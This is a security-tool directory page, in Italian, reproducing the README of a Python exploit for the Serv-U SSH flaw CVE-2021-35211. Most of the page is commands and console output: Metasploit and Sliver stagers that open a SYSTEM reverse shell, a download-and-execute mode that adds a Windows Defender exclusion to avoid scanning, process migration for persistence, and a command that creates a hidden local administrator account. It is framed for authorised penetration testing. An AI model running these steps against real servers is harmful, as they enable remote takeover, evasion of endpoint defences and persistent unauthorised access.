Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-35211 — Exploit Python per la vulnerabilità Serv-U SSH (CVE-2021-35211) con molteplici modalità di payload: stage, exec e download-execute, che consentono l'esecuzione di shellcode e l'iniezione di comandi. | Kitploit
Strumenti/GitHubGitHub/bishopfox/cve-2021-35211
Framework di ExploitGenerazione di PayloadAnalisi delle VulnerabilitàExploitPenetration TestingRed TeamingGenerazione di ShellcodeSviluppo PayloadBinary Exploitation
GitHubbishopfox/cve-2021-35211

CVE-2021-35211

Exploit Python per la vulnerabilità Serv-U SSH (CVE-2021-35211) con molteplici modalità di payload: stage, exec e download-execute, che consentono l'esecuzione di shellcode e l'iniezione di comandi.

3994 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

Exploit Serv-U CVE-2021-35211

Potenziale di DoS - controlla le tue regole di ingaggio

L'exploit non funziona sempre, ma funziona abbastanza spesso da eseguire lo shellcode in circa 1 esecuzione su 5 o 6. Tuttavia, a volte un exploit fallito può far crashare il server Serv-U. Assicurati che le tue regole di ingaggio consentano il rischio di perdita o degrado del servizio. I sintomi osservati nei test includono:

  • crash e riavvio automatico (il più comune)
  • disconnessione degli utenti connessi durante i tentativi riusciti e non riusciti
  • crash con mancato riavvio automatico

Caveat emptor.

Avvio rapido

Le versioni sono importanti. Questo exploit usa indirizzi ROP hard-coded validi solo contro la versione 15.2.3.717 di Serv-U. Potremmo essere in grado di aggiungere altre versioni, chiedi se ti serve che funzioni con versioni diverse di Serv-U o Windows.

Controlla la versione sul tuo target

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

Eseguire l'exploit

Accetta i seguenti argomenti:

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

Ci sono tre modalità (o payload) che puoi eseguire in un attacco riuscito:

  1. stage
  2. exec
  3. downloadexec

Modalità stage

In caso di exploit riuscito, esegue uno stager di shellcode compatibile con Metasploit/Sliver. È il meno affidabile di tutti i payload; considera `downloadexec1 invece. Esegui in questo modo:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
  stagePort   Port number for your staging instance

optional arguments:
  -h, --help  show this help message and exit

stageHost e stagePort punteranno a un handler in ascolto sulla tua macchina Sliver/Metasploit. Puoi scegliere qualsiasi payload ti piaccia, ma ho scoperto che l'unico che funziona in modo affidabile è windows/x64/shell/reverse_tcp. È un peccato perché non è una shell cifrata e dovrai controllare le tue regole di ingaggio prima di aprire una shell del genere.

Di nuovo, caveat emptor.

Configuralo in Metasploit sulla tua macchina kali in questo modo:

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

Poi esegui l'exploit:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Tornando sulla macchina kali dovresti vedere la richiesta di stage e l'avvio della shell di comando:

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

Il supporto di Sliver nel payload stager è altamente sperimentale e raramente funziona. Se funziona, normalmente vedrai le sessioni avviarsi e morire immediatamente. Ma se ottieni una sessione che non termina subito, puoi adottare misure per mantenere l'accesso a Sliver migrando verso un altro processo.

Sul tuo server Sliver esegui il comando stage-listener per configurare il listener. Consulta la documentazione di Sliver per maggiori dettagli sullo staging:

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

Esegui l'exploit in modalità stage:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Se l'exploit funziona (e funziona molto raramente con payload Sliver o Meterpreter), vedrai qualcosa del genere (e sì, Sliver ha inventato quel nome per il payload tutto da solo!):

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

La prima cosa da fare è migrare verso un altro processo perché c'è una buona probabilità che la tua sessione Sliver muoia e non torni più, e al momento in cui scrivo non conosco la causa principale.

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

A questo punto dovresti avere una sessione Sliver stabile, immune ai capricci di Serv-U e di questo exploit.

Modalità di download ed esecuzione

La modalità più affidabile e quella con meno probabilità di essere segnalata da Microsoft Defender Endpoint Security. Questo perché usa un comando PowerShell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") per aggiungere un'esclusione di directory a Microsoft Defender, così che i binari di Sliver/Meterpreter/qualsiasi altra cosa non vengano scansionati come malware. Questo ti proteggerà da Windows Defender, ma solo da quello; dovrai mettere in conto altre tecnologie di sicurezza degli endpoint, IDS di rete, ecc.

In caso di successo, scarica un binario da un URL e lo esegue. Ti servirà un webserver che ospiti il tuo file eseguibile. Io ho usato Python, ma nota che sto testando su una rete locale senza SSL. In exploit reali dovrai controllare le tue regole di ingaggio se vuoi usare URL non cifrati.

Non è la prima volta: caveat emptor.

Avvia un semplice listener HTTP in questo modo:

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Con il listener in esecuzione puoi lanciare l'exploit:

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Dovresti vedere qualcosa del genere nel tuo listener:

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

Il target eseguirà calc.exe e riavvierà il servizio Serv-U per consentire agli utenti di riconnettersi. Nota che l'eseguibile non mostrerà una finestra, ma se esegui questo esempio dovresti vedere wincalc.exe in Task Manager.

Modalità esecuzione comandi

In caso di successo, esegue un comando sul target. Esegui in questo modo:

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Crediti

  • I ricercatori Microsoft che hanno eseguito il fuzzing della vulnerabilità: https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson ha realizzato la PoC su cui si basa il mio codice: https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

Considerazioni finali

Purtroppo questo exploit tende a far crashare il processo remoto. Generalmente si riavvia e sto cercando di capire se posso renderlo più stabile, ma fino ad allora ricorda: controlla le tue regole di ingaggio e caveat emptor.

Il fatto che l'ASLR fosse disabilitato sulla dll di Serv-U è stata una fortuna pazzesca e ha evitato un sacco di problemi.

Anche altre mitigazioni, come Control Flow Guard ("CFG"), erano disabilitate. Anche questo ha reso facile scrivere un exploit senza dover aggirare l'accesso limitato a funzioni critiche come GetProcAddress().

Vale la pena sottolineare che il metodo che uso per calcolare l'indirizzo dello stack ROP può, occasionalmente, generare un indirizzo non allineato a 64 bit. Di conseguenza, quando GetProcAddress() raggiunge un'istruzione MOVAPS (che richiede indirizzi di memoria allineati), l'exploit crasha. Per rendere l'exploit più affidabile, una soluzione potrebbe essere forzare lo stack ROP a trovarsi su un indirizzo allineato; questo richiederebbe qualche aggiustamento del payload ROP e viene lasciato come esercizio al lettore.

Scarica lo strumento